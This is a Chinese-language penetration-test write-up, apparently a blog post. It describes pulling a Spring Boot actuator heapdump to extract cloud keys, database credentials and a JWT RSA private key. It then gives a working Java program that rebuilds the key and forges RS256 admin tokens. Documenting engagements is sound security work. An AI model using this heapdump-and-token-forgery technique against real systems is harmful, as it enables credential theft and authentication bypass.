某次,对某客户的系统进行渗透测试,上头的命令是必须拿下网站系统管理员用户的权限,经过分析后发现该系统使用SpringBoot框架开发,使用JWT类型的身份验证方式,并且开启了Actuator端点。
经过一番狂轰乱炸后发现该系统存在垂直越权漏洞,可查看修改管理员用户的个人信息
密码Hash使用的是BCrypto算法,常规套路是修改密码获取权限,但是领导不允许直接修改管理员用户的密码,只好放弃。
获取私钥
然后我想到Spring的actuator/heapdump端点可直接下载内存Dump,会不会dump里有些有意思的东西呢?
随后我用jvisualvm打开了该系统的dump文件
通过分析后成功拿到了阿里云OSS密钥、数据库地址与账号密码、一些当前已经登录的用户的SESSION信息,但是数据库在内网无法连接,OSS中也没有有用的信息,并且此时管理员也没有登录系统,SESSION中都是普通用户的信息,只能转战别处。
此时我想到JWT验证的原理是通过某些指定的签名算法对用户信息进行签名,将签名算法信息、用户信息(用户ID、过期时间等等)、签名数据Base64编码后使用[.]进行拼接,随后在用户的每个请求中都将携带该完整的JWT信息进行鉴权,一条完整的JWT结构如下:
[签名算法].[用户数据].[签名数据]
而网站程序在登录过程中必然要对用户数据进行签名,所以dump中理应含有JWT签名所需的相关信息,如果能拿到签名所需的密钥,我就可以对刚刚拿到的管理员用户的信息进行签名并且通过网站的身份鉴权,也就能成功拿下管理员用户权限了。
随即我在Dump文件中找寻RSA相关的字眼,果然让我找到一个包含私钥信息的实例
进入后成功找到RSA加密所需的相关原始数据
此时还不能复制,需要使用OQL语句将数据查询出来方便复制
伪造签名
那么下一步就是签名啦,可是又出现了一个难题,网络上常见的JWT签名工具都不支持这种RSA原始数据作为密钥,所以就只能自己动手丰衣足食咯,通过一番研究后发现,上面取得的RSA原始数据与Java中RSAPrivateCrtKeySpec类的构造函数中的参数对应关系如下:
n=>modulus
e=>publicExponent
d=>privateExponent
p=>primeP
q=>primeQ
pe=>primeExponentP
qe=>primeExponentQ
coeff=>crtCoefficient
所以脚本就来啦(注意:该脚本只适用于RS256算法签名的JWT)
import java.math.BigInteger;
import java.security.*;
import java.security.spec.InvalidKeySpecException;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.RSAPrivateCrtKeySpec;
import java.security.spec.X509EncodedKeySpec;
import java.util.Arrays;
import org.apache.commons.codec.DecoderException;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.codec.binary.Hex;
public class main {
public static void main(String[] args) throws NoSuchAlgorithmException, InvalidKeySpecException, InvalidKeyException, SignatureException {
RSAPrivateCrtKeySpec rsaPrivateCrtKeySpec = new RSAPrivateCrtKeySpec(
new BigInteger("<modulus>"),
new BigInteger("<publicExponent>"),
new BigInteger("<privateExponent>"),
new BigInteger("<primeP>"),
new BigInteger("<primeQ>"),
new BigInteger("<primeExponentP>"),
new BigInteger("<primeExponentQ>"),
new BigInteger("<crtCoefficient>")
);
KeyFactory kf = KeyFactory.getInstance("RSA");
PrivateKey pk = kf.generatePrivate(rsaPrivateCrtKeySpec);
X509EncodedKeySpec kk = new X509EncodedKeySpec(pk.getEncoded());
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(pk);
String userdata = "<userdata>";
signature.update(("eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9." + userdata).getBytes());
System.out.println(Base64.encodeBase64String(signature.sign()));
}
}
执行后成功输出签名
使用伪装的JWT尝试获取个人信息。
成功获得管理员权限
师傅tql